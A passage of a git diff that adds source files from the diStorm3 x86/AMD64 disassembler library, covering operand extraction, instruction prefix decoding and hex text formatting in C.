+ * code points after the byte which represents the instruction itself, + * thus, even if the instructions are 2 bytes long it will read its last byte which contains the REG info. + */ + case OT_IB_RB: + /* Low 3 bits specify the REG, similar to the MODR/M byte reg. */ + operands_set_ts(op, O_REG, 8); + reg = *(ci->code-1) & 7; + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + op->index = (uint8_t)operands_fix_8bit_rex_base(reg + EX_GPR_BASE); + } else if (ps->prefixExtType == PET_REX) { + ps->usedPrefixes |= INST_PRE_REX; + op->index = (uint8_t)operands_fix_8bit_rex_base(reg); + } else op->index = (uint8_t)(REGS8_BASE + reg); + break; + case OT_IB_R_FULL: + reg = *(ci->code-1) & 7; + switch (effOpSz) + { + case Decode16Bits: + ps->usedPrefixes |= INST_PRE_OP_SIZE; + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + reg += EX_GPR_BASE; + } + operands_set_tsi(op, O_REG, 16, REGS16_BASE + reg); + break; + case Decode32Bits: + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + reg += EX_GPR_BASE; + } else ps->usedPrefixes |= INST_PRE_OP_SIZE; + operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg); + break; + case Decode64Bits: + /* + * Automatically promoted instruction can drop REX prefix if not required. + * PUSH/POP defaults to 64 bits. --> INST_64BITS + * MOV imm64 / BSWAP requires REX.W to be 64 bits --> INST_64BITS | INST_PRE_REX + */ + if ((instFlags & INST_64BITS) && ((instFlags & INST_PRE_REX) == 0)) { + if (vrex & PREFIX_EX_B) { + ps->usedPrefixes |= INST_PRE_REX; + reg += EX_GPR_BASE; + } + } else { + ps->usedPrefixes |= INST_PRE_REX; + reg += (vrex & PREFIX_EX_B) ? EX_GPR_BASE : 0; + } + operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg); + break; + } + break; + + /* + * Special treatment for repeatable instructions. + + * We want the following output: + * If there's only the REP/NZ prefix, we won't output anything (All operands are implicit). + * If there's an operand size prefix, we will change the suffix letter of the mnemonic, which specifies the size of operand to the required one. + * If there's a segment override prefix, we will output the segment and the used index register (EDI/ESI). + * If there's an address size prefix, we will output the (segment if needed and) the used and inverted index register (DI/SI). + + * Example: + * :: Decoding in 16 bits mode! :: + * AD ~ LODSW + * 66 AD ~ LODSD + * F3 AC ~ REP LODSB + * F3 66 AD ~ REP LODSD + * F3 3E AC ~ REP LODS BYTE DS:[SI] + * F3 67 AD ~ REP LODS WORD [ESI] + + * The basic form of a repeatable instruction has its operands hidden and has a suffix letter + * which implies on the size of operation being done. + * Therefore, we cannot change the mnemonic here when we encounter another prefix and its not the decoder's responsibility to do so. + * That's why the caller is responsible to add the suffix letter if no other prefixes are used. + * And all we are doing here is formatting the operand correctly. + */ + case OT_REGI_ESI: + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + + op->type = O_SMEM; + + /* This might be a 16, 32 or 64 bits instruction, depends on the decoding mode. */ + if (instFlags & INST_16BITS) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + + if (effOpSz == Decode16Bits) op->size = 16; + else if ((effOpSz == Decode64Bits) && (instFlags & INST_64BITS)) { + ps->usedPrefixes |= INST_PRE_REX; + op->size = 64; + } else op->size = 32; + } else op->size = 8; + + /* + * Clear segment in case OT_REGI_EDI was parsed earlier, + * DS can be overridden and therefore has precedence. + */ + di->segment = 0; + prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di); + + if (effAdrSz == Decode16Bits) op->index = R_SI; + else if (effAdrSz == Decode32Bits) op->index = R_ESI; + else op->index = R_RSI; + break; + case OT_REGI_EDI: + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + + op->type = O_SMEM; + + /* This might be a 16 or 32 bits instruction, depends on the decoding mode. */ + if (instFlags & INST_16BITS) { + ps->usedPrefixes |= INST_PRE_OP_SIZE; + + if (effOpSz == Decode16Bits) op->size = 16; + else if ((effOpSz == Decode64Bits) && (instFlags & INST_64BITS)) { + ps->usedPrefixes |= INST_PRE_REX; + op->size = 64; + } else op->size = 32; + } else op->size = 8; + + /* Note: The [rDI] operand can't be prefixed by a segment override, therefore we don't set usedPrefixes. */ + if ((opNum == ONT_1) && (ci->dt != Decode64Bits)) di->segment = R_ES | SEGMENT_DEFAULT; /* No ES in 64 bits mode. */ + + if (effAdrSz == Decode16Bits) op->index = R_DI; + else if (effAdrSz == Decode32Bits) op->index = R_EDI; + else op->index = R_RDI; + break; + + /* Used for In/Out instructions varying forms. */ + case OT_REGDX: + /* Simple single IN/OUT instruction. */ + operands_set_tsi(op, O_REG, 16, R_DX); + break; + + /* Used for INVLPGA instruction. */ + case OT_REGECX: + operands_set_tsi(op, O_REG, 32, R_ECX); + break; + case OT_REGI_EBXAL: + /* XLAT BYTE [rBX + AL] */ + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + + prefixes_use_segment(INST_PRE_DS, ps, ci->dt, di); + + /* Size of deref is always 8 for xlat. */ + operands_set_tsi(op, O_MEM, 8, R_AL); + + if (effAdrSz == Decode16Bits) di->base = R_BX; + else if (effAdrSz == Decode32Bits) di->base = R_EBX; + else { + ps->usedPrefixes |= INST_PRE_REX; + di->base = R_RBX; + } + break; + case OT_REGI_EAX: + /* + * Implicit rAX as memory indirection operand. Used by AMD's SVM instructions. + * Since this is a memory indirection, the default address size in 64bits decoding mode is 64. + */ + + if (effAdrSz == Decode64Bits) operands_set_tsi(op, O_SMEM, 64, R_RAX); + else if (effAdrSz == Decode32Bits) { + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + operands_set_tsi(op, O_SMEM, 32, R_EAX); + } else { + ps->usedPrefixes |= INST_PRE_ADDR_SIZE; + operands_set_tsi(op, O_SMEM, 16, R_AX); + } + break; + case OT_VXMM: + operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + vexV); + break; + case OT_XMM_IMM: + ci->codeLen -= sizeof(int8_t); + if (ci->codeLen < 0) return FALSE; + + if (ci->dt == Decode32Bits) reg = (*ci->code >> 4) & 0x7; + else reg = (*ci->code >> 4) & 0xf; + operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + reg); + + ci->code += sizeof(int8_t); + break; + case OT_YXMM: + if (vrex & PREFIX_EX_R) reg += EX_GPR_BASE; + if (ps->vrex & PREFIX_EX_L) operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + reg); + else operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + reg); + break; + case OT_YXMM_IMM: + ci->codeLen -= sizeof(int8_t); + if (ci->codeLen < 0) return FALSE; + + if (ci->dt == Decode32Bits) reg = (*ci->code >> 4) & 0x7; + else reg = (*ci->code >> 4) & 0xf; + + if (ps->vrex & PREFIX_EX_L) operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + reg); + else operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + reg); + + ci->code += sizeof(int8_t); + break; + case OT_YMM: + if (vrex & PREFIX_EX_R) reg += EX_GPR_BASE; + operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + reg); + break; + case OT_VYMM: + operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + vexV); + break; + case OT_VYXMM: + if (ps->vrex & PREFIX_EX_L) operands_set_tsi(op, O_REG, 256, AVXREGS_BASE + vexV); + else operands_set_tsi(op, O_REG, 128, SSEREGS_BASE + vexV); + break; + case OT_WREG32_64: + if (vrex & PREFIX_EX_R) reg += EX_GPR_BASE; + if (ps->vrex & PREFIX_EX_W) operands_set_tsi(op, O_REG, 64, REGS64_BASE + reg); + else operands_set_tsi(op, O_REG, 32, REGS32_BASE + reg); + break; + default: return FALSE; + } + + if ((op->type == O_REG) || (op->type == O_SMEM) || (op->type == O_MEM)) { + di->usedRegistersMask |= _REGISTERTORCLASS[op->index]; + } + + return TRUE; +} diff --git a/source/distorm/operands.h b/source/distorm/operands.h new file mode 100644 index 0000000..883d59b --- /dev/null +++ b/source/distorm/operands.h @@ -0,0 +1,28 @@ +/* +operands.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef OPERANDS_H +#define OPERANDS_H + +#include "config.h" +#include "decoder.h" +#include "prefix.h" +#include "instructions.h" + + +extern uint32_t _REGISTERTORCLASS[]; + +int operands_extract(_CodeInfo* ci, _DInst* di, _InstInfo* ii, + _iflags instFlags, _OpType type, _OperandNumberType opNum, + unsigned int modrm, _PrefixState* ps, _DecodeType effOpSz, + _DecodeType effAdrSz, int* lockableInstruction); + +#endif /* OPERANDS_H */ diff --git a/source/distorm/prefix.c b/source/distorm/prefix.c new file mode 100644 index 0000000..77cbeea --- /dev/null +++ b/source/distorm/prefix.c @@ -0,0 +1,368 @@ +/* +prefix.c + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#include "prefix.h" + +#include "x86defs.h" +#include "instructions.h" +#include "distorm/mnemonics.h" + + +/* + * The main purpose of this module is to keep track of all kind of prefixes a single instruction may have. + * The problem is that a single instruction may have up to six different prefix-types. + * That's why I have to detect such cases and drop those excess prefixes. + */ + +int prefixes_is_valid(unsigned int ch, _DecodeType dt) +{ + switch (ch) { + /* for i in xrange(0x40, 0x50): print "case 0x%2x:" % i */ + case 0x40: /* REX: */ + case 0x41: + case 0x42: + case 0x43: + case 0x44: + case 0x45: + case 0x46: + case 0x47: + case 0x48: + case 0x49: + case 0x4a: + case 0x4b: + case 0x4c: + case 0x4d: + case 0x4e: + case 0x4f: return (dt == Decode64Bits); + case PREFIX_LOCK: return TRUE; + case PREFIX_REPNZ: return TRUE; + case PREFIX_REP: return TRUE; + case PREFIX_CS: return TRUE; + case PREFIX_SS: return TRUE; + case PREFIX_DS: return TRUE; + case PREFIX_ES: return TRUE; + case PREFIX_FS: return TRUE; + case PREFIX_GS: return TRUE; + case PREFIX_OP_SIZE: return TRUE; + case PREFIX_ADDR_SIZE: return TRUE; + /* The VEXs might be false positives, the decode_perfixes will determine for sure. */ + case PREFIX_VEX2b: /* VEX is supported for all modes, because 16 bits Pmode is included. */ + case PREFIX_VEX3b: return TRUE; + } + return FALSE; +} + +/* Ignore a specific prefix type. */ +void prefixes_ignore(_PrefixState* ps, _PrefixIndexer pi) +{ + /* + * If that type of prefix appeared already, set the bit of that *former* prefix. + * Anyway, set the new index of that prefix type to the current index, so next time we know its position. + */ + if (ps->pfxIndexer[pi] != PFXIDX_NONE) ps->unusedPrefixesMask |= (1 << ps->pfxIndexer[pi]); +} + +/* Ignore all prefix. */ +void prefixes_ignore_all(_PrefixState* ps) +{ + int i; + for (i = 0; i < PFXIDX_MAX; i++) + prefixes_ignore(ps, i); +} + +/* Calculates which prefixes weren't used and accordingly sets the bits in the unusedPrefixesMask. */ +uint16_t prefixes_set_unused_mask(_PrefixState* ps) +{ + /* + * The decodedPrefixes represents the prefixes that were *read* from the binary stream for the instruction. + * The usedPrefixes represents the prefixes that were actually used by the instruction in the *decode* phase. + * Xoring between the two will result in a 'diff' which returns the prefixes that were read + * from the stream *and* that were never used in the actual decoding. + * + * Only one prefix per type can be set in decodedPrefixes from the stream. + * Therefore it's enough to check each type once and set the flag accordingly. + * That's why we had to book-keep each prefix type and its position. + * So now we know which bits we need to set exactly in the mask. + */ + _iflags unusedPrefixesDiff = ps->decodedPrefixes ^ ps->usedPrefixes; + + /* Examine unused prefixes by type: */ + /* + * About REX: it might be set in the diff although it was never in the stream itself. + * This is because the vrex is shared between VEX and REX and some places flag it as REX usage, while + * we were really decoding an AVX instruction. + * It's not a big problem, because the prefixes_ignore func will ignore it anyway, + * since it wasn't seen earlier. But it's important to know this. + */ + if (unusedPrefixesDiff & INST_PRE_REX) prefixes_ignore(ps, PFXIDX_REX); + if (unusedPrefixesDiff & INST_PRE_SEGOVRD_MASK) prefixes_ignore(ps, PFXIDX_SEG); + if (unusedPrefixesDiff & INST_PRE_LOKREP_MASK) prefixes_ignore(ps, PFXIDX_LOREP); + if (unusedPrefixesDiff & INST_PRE_OP_SIZE) prefixes_ignore(ps, PFXIDX_OP_SIZE); + if (unusedPrefixesDiff & INST_PRE_ADDR_SIZE) prefixes_ignore(ps, PFXIDX_ADRS); + /* If a VEX instruction was found, its prefix is considered as used, therefore no point for checking for it. */ + + return ps->unusedPrefixesMask; +} + +/* + * Mark a prefix as unused, and bookkeep where we last saw this same type, + * because in the future we might want to disable it too. + */ +_INLINE_ void prefixes_track_unused(_PrefixState* ps, int index, _PrefixIndexer pi) +{ + prefixes_ignore(ps, pi); + /* Book-keep the current index for this type. */ + ps->pfxIndexer[pi] = index; +} + +/* + * Read as many prefixes as possible, up to 15 bytes, and halt when we encounter non-prefix byte. + * This algorithm tries to imitate a real processor, where the same prefix can appear a few times, etc. + * The tiny complexity is that we want to know when a prefix was superfluous and mark any copy of it as unused. + * Note that the last prefix of its type will be considered as used, and all the others (of same type) before it as unused. + */ +void prefixes_decode(const uint8_t* code, int codeLen, _PrefixState* ps, _DecodeType dt) +{ + int index, done; + uint8_t vex; + + /* + * First thing to do, scan for prefixes, there are six types of prefixes. + * There may be up to six prefixes before a single instruction, not the same type, no special order, + * except REX/VEX must precede immediately the first opcode byte. + * BTW - This is the reason why I didn't make the REP prefixes part of the instructions (STOS/SCAS/etc). + * + * Another thing, the instruction maximum size is 15 bytes, thus if we read more than 15 bytes, we will halt. + * + * We attach all prefixes to the next instruction, there might be two or more occurrences from the same prefix. + * Also, since VEX can be allowed only once we will test it separately. + */ + for (index = 0, done = FALSE; + (codeLen > 0) && (code - ps->start < INST_MAXIMUM_SIZE); + code++, codeLen--, index++) { + /* + NOTE: AMD treat lock/rep as two different groups... But I am based on Intel. + + - Lock and Repeat: + - 0xF0 — LOCK + - 0xF2 — REPNE/REPNZ + - 0xF3 - REP/REPE/REPZ + - Segment Override: + - 0x2E - CS + - 0x36 - SS + - 0x3E - DS + - 0x26 - ES + - 0x64 - FS + - 0x65 - GS + - Operand-Size Override: 0x66, switching default size. + - Address-Size Override: 0x67, switching default size. + + 64 Bits: + - REX: 0x40 - 0x4f, extends register access. + - 2 Bytes VEX: 0xc4 + - 3 Bytes VEX: 0xc5 + 32 Bits: + - 2 Bytes VEX: 0xc4 11xx-xxxx + - 3 Bytes VEX: 0xc5 11xx-xxxx + */ + + /* Examine what type of prefix we got. */ + switch (*code) + { + /* REX type, 64 bits decoding mode only: */ + case 0x40: + case 0x41: + case 0x42: + case 0x43: + case 0x44: + case 0x45: + case 0x46: + case 0x47: + case 0x48: + case 0x49: + case 0x4a: + case 0x4b: + case 0x4c: + case 0x4d: + case 0x4e: + case 0x4f: + if (dt == Decode64Bits) { + ps->decodedPrefixes |= INST_PRE_REX; + ps->vrex = *code & 0xf; /* Keep only BXRW. */ + ps->rexPos = code; + ps->prefixExtType = PET_REX; + prefixes_track_unused(ps, index, PFXIDX_REX); + } else done = TRUE; /* If we are not in 64 bits mode, it's an instruction, then halt. */ + break; + + /* LOCK and REPx type: */ + case PREFIX_LOCK: + ps->decodedPrefixes |= INST_PRE_LOCK; + prefixes_track_unused(ps, index, PFXIDX_LOREP); + break; + case PREFIX_REPNZ: + ps->decodedPrefixes |= INST_PRE_REPNZ; + prefixes_track_unused(ps, index, PFXIDX_LOREP); + break; + case PREFIX_REP: + ps->decodedPrefixes |= INST_PRE_REP; + prefixes_track_unused(ps, index, PFXIDX_LOREP); + break; + + /* Seg Overide type: */ + case PREFIX_CS: + ps->decodedPrefixes |= INST_PRE_CS; + prefixes_track_unused(ps, index, PFXIDX_SEG); + break; + case PREFIX_SS: + ps->decodedPrefixes |= INST_PRE_SS; + prefixes_track_unused(ps, index, PFXIDX_SEG); + break; + case PREFIX_DS: + ps->decodedPrefixes |= INST_PRE_DS; + prefixes_track_unused(ps, index, PFXIDX_SEG); + break; + case PREFIX_ES: + ps->decodedPrefixes |= INST_PRE_ES; + prefixes_track_unused(ps, index, PFXIDX_SEG); + break; + case PREFIX_FS: + ps->decodedPrefixes |= INST_PRE_FS; + prefixes_track_unused(ps, index, PFXIDX_SEG); + break; + case PREFIX_GS: + ps->decodedPrefixes |= INST_PRE_GS; + prefixes_track_unused(ps, index, PFXIDX_SEG); + break; + + /* Op Size type: */ + case PREFIX_OP_SIZE: + ps->decodedPrefixes |= INST_PRE_OP_SIZE; + prefixes_track_unused(ps, index, PFXIDX_OP_SIZE); + break; + + /* Addr Size type: */ + case PREFIX_ADDR_SIZE: + ps->decodedPrefixes |= INST_PRE_ADDR_SIZE; + prefixes_track_unused(ps, index, PFXIDX_ADRS); + break; + + /* Non-prefix byte now, so break 2. */ + default: done = TRUE; break; + } + if (done) break; + } + + /* 2 Bytes VEX: */ + if ((codeLen >= 2) && + (*code == PREFIX_VEX2b) && + ((code - ps->start) <= INST_MAXIMUM_SIZE - 2)) { + /* + * In 32 bits the second byte has to be in the special range of Mod=11. + * Otherwise it might be a normal LDS instruction. + */ + if ((dt == Decode64Bits) || (*(code + 1) >= INST_DIVIDED_MODRM)) { + ps->vexPos = code + 1; + ps->decodedPrefixes |= INST_PRE_VEX; + ps->prefixExtType = PET_VEX2BYTES; + + /* + * VEX 1 byte bits: + * |7-6--3-2-10| + * |R|vvvv|L|pp| + * |-----------| + */ + + /* -- Convert from VEX prefix to VREX flags -- */ + vex = *ps->vexPos; + if (~vex & 0x80 && dt == Decode64Bits) ps->vrex |= PREFIX_EX_R; /* Convert VEX.R. */ + if (vex & 4) ps->vrex |= PREFIX_EX_L; /* Convert VEX.L. */ + + code += 2; + } + } + + /* 3 Bytes VEX: */ + if ((codeLen >= 3) && + (*code == PREFIX_VEX3b) && + ((code - ps->start) <= INST_MAXIMUM_SIZE - 3) && + (~ps->decodedPrefixes & INST_PRE_VEX)) { + /* + * In 32 bits the second byte has to be in the special range of Mod=11. + * Otherwise it might be a normal LES instruction. + * And we don't care now about the 3rd byte. + */ + if ((dt == Decode64Bits) || (*(code + 1) >= INST_DIVIDED_MODRM)) { + ps->vexPos = code + 1; + ps->decodedPrefixes |= INST_PRE_VEX; + ps->prefixExtType = PET_VEX3BYTES; + + /* + * VEX first and second bytes: + * |7-6-5-4----0| |7-6--3-2-10| + * |R|X|B|m-mmmm| |W|vvvv|L|pp| + * |------------| |-----------| + */ + + /* -- Convert from VEX prefix to VREX flags -- */ + vex = *ps->vexPos; + ps->vrex |= ((~vex >> 5) & 0x7); /* Shift and invert VEX.R/X/B to their place */ + vex = *(ps->vexPos + 1); + if (vex & 4) ps->vrex |= PREFIX_EX_L; /* Convert VEX.L. */ + if (vex & 0x80) ps->vrex |= PREFIX_EX_W; /* Convert VEX.W. */ + + /* Clear some flags if the mode isn't 64 bits. */ + if (dt != Decode64Bits) ps->vrex &= ~(PREFIX_EX_B | PREFIX_EX_X | PREFIX_EX_R | PREFIX_EX_W); + + code += 3; + } + } + + /* + * Save last byte scanned address, so the decoder could keep on scanning from this point and on and on and on. + * In addition the decoder is able to know that the last byte could lead to MMX/SSE instructions (preceding REX if exists). + */ + ps->last = code; /* ps->last points to an opcode byte. */ +} + +/* + * For every memory-indirection operand we want to set its corresponding default segment. + * If the segment is being overrided, we need to see whether we use it or not. + * We will use it only if it's not the default one already. + */ +void prefixes_use_segment(_iflags defaultSeg, _PrefixState* ps, _DecodeType dt, _DInst* di) +{ + _iflags flags = 0; + if (dt == Decode64Bits) flags = ps->decodedPrefixes & INST_PRE_SEGOVRD_MASK64; + else flags = ps->decodedPrefixes & INST_PRE_SEGOVRD_MASK; + + if ((flags == 0) || (flags == defaultSeg)) { + flags = defaultSeg; + di->segment |= SEGMENT_DEFAULT; + } else if (flags != defaultSeg) { + /* Use it only if it's non-default segment. */ + ps->usedPrefixes |= flags; + } + + /* ASSERT: R_XX must be below 128. */ + switch (flags) + { + case INST_PRE_ES: di->segment |= R_ES; break; + case INST_PRE_CS: di->segment |= R_CS; break; + case INST_PRE_SS: di->segment |= R_SS; break; + case INST_PRE_DS: di->segment |= R_DS; break; + case INST_PRE_FS: di->segment |= R_FS; break; + case INST_PRE_GS: di->segment |= R_GS; break; + } + + /* If it's one of the CS,SS,DS,ES and the mode is 64 bits, set segment it to none, since it's ignored. */ + if ((dt == Decode64Bits) && (flags & INST_PRE_SEGOVRD_MASK32)) di->segment = R_NONE; +} diff --git a/source/distorm/prefix.h b/source/distorm/prefix.h new file mode 100644 index 0000000..f1f53c4 --- /dev/null +++ b/source/distorm/prefix.h @@ -0,0 +1,64 @@ +/* +prefix.h + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#ifndef PREFIX_H +#define PREFIX_H + +#include "config.h" +#include "decoder.h" + + +/* Specifies the type of the extension prefix, such as: REX, 2 bytes VEX, 3 bytes VEX. */ +typedef enum {PET_NONE = 0, PET_REX, PET_VEX2BYTES, PET_VEX3BYTES} _PrefixExtType; + +/* Specifies an index into a table of prefixes by their type. */ +typedef enum {PFXIDX_NONE = -1, PFXIDX_REX, PFXIDX_LOREP, PFXIDX_SEG, PFXIDX_OP_SIZE, PFXIDX_ADRS, PFXIDX_MAX} _PrefixIndexer; + +/* +* This holds the prefixes state for the current instruction we decode. +* decodedPrefixes includes all specific prefixes that the instruction got. +* start is a pointer to the first prefix to take into account. +* last is a pointer to the last byte we scanned. +* Other pointers are used to keep track of prefixes positions and help us know if they appeared already and where. +*/ +typedef struct { + _iflags decodedPrefixes, usedPrefixes; + const uint8_t *start, *last, *vexPos, *rexPos; + _PrefixExtType prefixExtType; + uint16_t unusedPrefixesMask; + /* Indicates whether the operand size prefix (0x66) was used as a mandatory prefix. */ + int isOpSizeMandatory; + /* If VEX prefix is used, store the VEX.vvvv field. */ + unsigned int vexV; + /* The fields B/X/R/W/L of REX and VEX are stored together in this byte. */ + unsigned int vrex; + + /* !! Make sure pfxIndexer is LAST! Otherwise memset won't work well with it. !! */ + + /* Holds the offset to the prefix byte by its type. */ + int pfxIndexer[PFXIDX_MAX]; +} _PrefixState; + +/* +* Intel supports 6 types of prefixes, whereas AMD supports 5 types (lock is seperated from rep/nz). +* REX is the fifth prefix type, this time I'm based on AMD64. +* VEX is the 6th, though it can't be repeated. +*/ +#define MAX_PREFIXES (5) + +int prefixes_is_valid(unsigned int ch, _DecodeType dt); +void prefixes_ignore(_PrefixState* ps, _PrefixIndexer pi); +void prefixes_ignore_all(_PrefixState* ps); +uint16_t prefixes_set_unused_mask(_PrefixState* ps); +void prefixes_decode(const uint8_t* code, int codeLen, _PrefixState* ps, _DecodeType dt); +void prefixes_use_segment(_iflags defaultSeg, _PrefixState* ps, _DecodeType dt, _DInst* di); + +#endif /* PREFIX_H */ diff --git a/source/distorm/textdefs.c b/source/distorm/textdefs.c new file mode 100644 index 0000000..84b5a05 --- /dev/null +++ b/source/distorm/textdefs.c @@ -0,0 +1,173 @@ +/* +textdefs.c + +diStorm3 - Powerful disassembler for X86/AMD64 +http://ragestorm.net/distorm/ +distorm at gmail dot com +Copyright (C) 2003-2016 Gil Dabah +This library is licensed under the BSD license. See the file COPYING. +*/ + + +#include "textdefs.h" +#include "compat.h" + +#ifndef DISTORM_LIGHT + +static uint8_t Nibble2ChrTable[16] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'}; +#define NIBBLE_TO_CHR Nibble2ChrTable[t] + +void _FASTCALL_ str_hex_b(_WString* s, unsigned int x) +{ + /* + * def prebuilt(): + * s = "" + * for i in xrange(256): + * if ((i % 0x10) == 0): + * s += "\r\n" + * s += "\"%02x\", " % (i) + * return s + */ + static int8_t TextBTable[256][3] = { + "00", "01", "02", "03", "04", "05", "06", "07", "08", "09", "0a", "0b", "0c", "0d", "0e", "0f", + "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "1a", "1b", "1c", "1d", "1e", "1f", + "20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "2a", "2b", "2c", "2d", "2e", "2f", + "30", "31", "32", "33", "34", "35", "36", "37", "38", "39", "3a", "3b", "3c", "3d", "3e", "3f", + "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4a", "4b", "4c", "4d", "4e", "4f", + "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5a", "5b", "5c", "5d", "5e", "5f", + "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6a", "6b", "6c", "6d", "6e", "6f", + "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7a", "7b", "7c", "7d", "7e", "7f", + "80", "81", "82", "83", "84", "85", "86", "87", "88", "89", "8a", "8b", "8c", "8d", "8e", "8f", + "90", "91", "92", "93", "94", "95", "96", "97", "98", "99", "9a", "9b", "9c", "9d", "9e", "9f", + "a0", "a1", "a2", "a3", "a4", "a5", "a6", "a7", "a8", "a9", "aa", "ab", "ac", "ad", "ae", "af", + "b0", "b1", "b2", "b3", "b4", "b5", "b6", "b7", "b8", "b9", "ba", "bb", "bc", "bd", "be", "bf", + "c0", "c1", "c2", "c3", "c4", "c5", "c6", "c7", "c8", "c9", "ca", "cb", "cc", "cd", "ce", "cf", + "d0", "d1", "d2", "d3", "d4", "d5", "d6", "d7", "d8", "d9", "da", "db", "dc", "dd", "de", "df", + "e0", "e1", "e2", "e3", "e4", "e5", "e6", "e7", "e8", "e9", "ea", "eb", "ec", "ed", "ee", "ef", + "f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7", "f8", "f9", "fa", "fb", "fc", "fd", "fe", "ff" + }; + + /* + * Fixed length of 3 including null terminate character. + */ + COMPAT(memcpy)(&s->p[s->length], TextBTable[x & 255], 3); + s->length += 2; +} + +void _FASTCALL_ str_code_hb(_WString* s, unsigned int x) +{ + static int8_t TextHBTable[256][5] = { + /* + * def prebuilt(): + * s = "" + * for i in xrange(256): + * if ((i % 0x10) == 0): + * s += "\r\n" + * s += "\"0x%x\", " % (i) + * return s + */ + "0x0", "0x1", "0x2", "0x3", "0x4", "0x5", "0x6", "0x7", "0x8", "0x9", "0xa", "0xb", "0xc", "0xd", "0xe", "0xf", + "0x10", "0x11", "0x12", "0x13", "0x14", "0x15", "0x16", "0x17", "0x18", "0x19", "0x1a", "0x1b", "0x1c", "0x1d", "0x1e", "0x1f", + "0x20", "0x21", "0x22", "0x23", "0x24", "0x25", "0x26", "0x27", "0x28", "0x29", "0x2a", "0x2b", "0x2c", "0x2d", "0x2e", "0x2f", + "0x30", "0x31", "0x32", "0x33", "0x34", "0x35", "0x36", "0x37", "0x38", "0x39", "0x3a", "0x3b", "0x3c", "0x3d", "0x3e", "0x3f", + "0x40", "0x41", "0x42", "0x43", "0x44", "0x45", "0x46", "0x47", "0x48", "0x49", "0x4a", "0x4b", "0x4c", "0x4d", "0x4e", "0x4f", + "0x50", "0x51", "0x52", "0x53", "0x54", "0x55", "0x56", "0x57", "0x58", "0x59", "0x5a", "0x5b", "0x5c", "0x5d", "0x5e", "0x5f", + "0x60", "0x61", "0x62", "0x63", "0x64", "0x65", "0x66", "0x67", "0x68", "0x69", "0x6a", "0x6b", "0x6c", "0x6d", "0x6e", "0x6f", + "0x70", "0x71", "0x72", "0x73", "0x74", "0x75", "0x76", "0x77", "0x78", "0x79", "0x7a", "0x7b", "0x7c", "0x7d", "0x7e", "0x7f", + "0x80", "0x81", "0x82", "0x83", "0x84", "0x85", "0x86", "0x87", "0x88", "0x89", "0x8a", "0x8b", "0x8c", "0x8d", "0x8e", "0x8f", + "0x90", "0x91", "0x92", "0x93", "0x94", "0x95", "0x96", "0x97", "0x98", "0x99", "0x9a", "0x9b", "0x9c", "0x9d", "0x9e", "0x9f", + "0xa0", "0xa1", "0xa2", "0xa3", "0xa4", "0xa5", "0xa6", "0xa7", "0xa8", "0xa9", "0xaa", "0xab", "0xac", "0xad", "0xae", "0xaf", + "0xb0", "0xb1", "0xb2", "0xb3", "0xb4", "0xb5", "0xb6", "0xb7", "0xb8", "0xb9", "0xba", "0xbb", "0xbc", "0xbd", "0xbe", "0xbf", + "0xc0", "0xc1", "0xc2", "0xc3", "0xc4", "0xc5", "0xc6", "0xc7", "0xc8", "0xc9", "0xca", "0xcb", "0xcc", "0xcd", "0xce", "0xcf", + "0xd0", "0xd1", "0xd2", "0xd3", "0xd4", "0xd5", "0xd6", "0xd7", "0xd8", "0xd9", "0xda", "0xdb", "0xdc", "0xdd", "0xde", "0xdf", + "0xe0", "0xe1", "0xe2", "0xe3", "0xe4", "0xe5", "0xe6", "0xe7", "0xe8", "0xe9", "0xea", "0xeb", "0xec", "0xed", "0xee", "0xef", + "0xf0", "0xf1", "0xf2", "0xf3", "0xf4", "0xf5", "0xf6", "0xf7", "0xf8", "0xf9", "0xfa", "0xfb", "0xfc", "0xfd", "0xfe", "0xff" + }; + + if (x < 0x10) { /* < 0x10 has a fixed length of 4 including null terminate. */ + memcpy(&s->p[s->length], TextHBTable[x & 255], 4); + s->length += 3; + } else { /* >= 0x10 has a fixed length of 5 including null terminate. */ + memcpy(&s->p[s->length], TextHBTable[x & 255], 5); + s->length += 4; + } +} + +void _FASTCALL_ str_code_hdw(_WString* s, uint32_t x) +{ + int8_t* buf; + int i = 0, shift = 0; + unsigned int t = 0; + + buf = (int8_t*)&s->p[s->length]; + + buf[0] = '0'; + buf[1] = 'x'; + buf += 2; + + for (shift = 28; shift != 0; shift -= 4) { + t = (x >> shift) & 0xf; + if (i | t) buf[i++] = NIBBLE_TO_CHR; + } + t = x & 0xf; + buf[i++] = NIBBLE_TO_CHR; + + s->length += i + 2; + 